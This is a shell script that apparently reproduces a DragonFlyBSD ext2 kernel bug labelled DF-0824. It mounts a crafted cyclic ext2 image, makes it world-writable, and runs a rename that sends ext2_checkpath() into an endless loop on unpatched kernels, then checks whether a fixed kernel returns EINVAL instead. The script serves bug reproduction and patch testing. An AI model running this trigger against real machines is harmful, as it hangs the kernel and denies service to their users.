DF-0824 / trigger.sh
#!/bin/sh # DF-0824 trigger โ mount the crafted cyclic ext2 image and rename a dir # into the cyclic parent, which invokes ext2_checkpath() and loops forever # on the unbounded `..` walk (sys/vfs/ext2fs/ext2_lookup.c:1212-1241). # # Run as root on the DragonFlyBSD guest. # # Expected on UNPATCHED (#0): the rename(2) never returns; the guest thread # spins in kernel holding the directory vnode, becoming unresponsive. A # follow-up ssh times out. SIGKILL cannot stop the kernel-stuck thread. # Expected on FIXED (#1): rename returns EINVAL promptly (the depth cap # trips); the rename(1) tool prints "mv: rename ...: Invalid argument", # and the guest stays responsive. set -e IMG="${1:-/root/df0824.img}" MNT=/mnt/df0824 echo "=== DF-0824 trigger ===" echo "image: $IMG" # 1. Load ext2fs module (admin mounting ext2 always loads this). kldload ext2fs 2>/dev/null || true kldstat -n ext2fs >/dev/null || { echo "ERROR: ext2fs module not loaded"; exit 2; } # 2. Configure a vnode device backed by the image. VN=$(vnconfig -c vn "$IMG" 2>/dev/null | awk '{print $1}' | head -1) # vnconfig -c prints the assigned device; some DragonFly versions differ. if [ -z "$VN" ]; then # fall back: try the bare "vnconfig IMAGE" form VN=$(vnconfig "$IMG" 2>&1 | awk '{print $1}' | sed 's/://g' | head -1) fi # Worst-case fallback: search for the most-recently attached vn device. if [ -z "$VN" ] || [ ! -e "/dev/$VN" ]; then for v in vn0 vn1 vn2 vn3; do if vnconfig -v "/dev/$v" 2>/dev/null | grep -q "$IMG"; then VN="$v"; break fi done fi [ -n "$VN" ] || { echo "ERROR: could not attach vn device"; exit 3; } echo "vn device: $VN" # 3. Mount the (crafted, cyclic) ext2 image. mkdir -p "$MNT" mount -t ext2fs "/dev/$VN" "$MNT" echo "mounted $VN at $MNT" ls -la "$MNT" # 4. World-writable so an unprivileged user can rename (realism: a # user-mounted or user-writable ext2 fs). chmod -R 777 "$MNT" 2>/dev/null || true # 5. The actual trigger: rename S into A. A's `..` chain is A->B->A->B... # Use `timeout` to bound it: on the unpatched kernel the rename hangs in # ext2_checkpath forever (timeout kills the wrapper at 8s but the kernel # thread keeps spinning); on the fixed kernel ext2_checkpath hits the depth # cap and returns EINVAL promptly. cd "$MNT" echo "=== running: mv S A/S_moved (bounded by timeout 8) ===" timeout 8 mv S A/S_moved MV_RC=$? cd / echo "MV_EXIT=$MV_RC (124=HANG/infinite-loop on unpatched; 1=EINVAL returned promptly on fixed)" if [ "$MV_RC" = "124" ]; then echo "RESULT: HANG (ext2_checkpath infinite loop โ unpatched kernel)" elif [ "$MV_RC" = "1" ]; then echo "RESULT: RETURNED (rename completed โ EINVAL from depth cap on fixed kernel)" else echo "RESULT: MV_EXIT=$MV_RC (unexpected)" fi |